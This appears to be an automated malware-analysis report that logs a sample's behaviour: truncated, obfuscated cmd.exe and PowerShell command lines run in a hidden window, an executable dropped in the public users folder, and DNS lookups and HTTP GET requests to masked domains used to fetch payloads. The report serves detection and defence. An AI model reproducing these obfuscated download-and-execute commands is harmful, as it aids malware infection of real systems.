Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' oBzENFtztkmhYb CflJYvEMiXnvawVCbVjVvAz UPUGRIsTNRi & %C^om^S^pEc% %C^om^S^pEc% /V /c set %tzITSfhEizEvkiF%=jOYImXqVmUnoV&&set %var1%=p&&set %var2%=ow&&set...
Modifies file system
Creates the following files
- C:\users\public\260790.exe
Deletes the following files
- C:\users\public\260790.exe
Substitutes the following files
- C:\users\public\260790.exe
Network activity
Connects to
- 'le####services.fr':80
- 'le####services.fr':443
- 'ze###tagur.com':80
- 'ze###tagur.com':443
- 'ar###ziv.com':80
TCP
HTTP GET requests
- http://le####services.fr/wiB9s/
- http://ze###tagur.com/gCWu/
- http://ar###ziv.com/Site7_Pixelhobbies/iV1PKqL/
- http://www.ar###ziv.com/Site7_Pixelhobbies/iV1PKqL/
Other
- 'le####services.fr':443
- 'ze###tagur.com':443
UDP
- DNS ASK le####services.fr
- DNS ASK ni####nskysport.ru
- DNS ASK be###y-tea.com
- DNS ASK ze###tagur.com
- DNS ASK ar###ziv.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' oBzENFtztkmhYb CflJYvEMiXnvawVCbVjVvAz UPUGRIsTNRi & %C^om^S^pEc% %C^om^S^pEc% /V /c set %tzITSfhEizEvkiF%=jOYImXqVmUnoV&&set %var1%=p&&set %var2%=ow&&set...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ". ( $PsHome[4]+$PSHoME[34]+'X') ( ( [RunTime.InTEROpserVICes.MArShal]::([RuntImE.IntEROpsERViCES.MarshAl].GeTMeMBerS()[5].name).INVokE( [rUNtiME.iNtEropSErVICES.marShAL]::sEcUreSTRINgtOBStr( $...
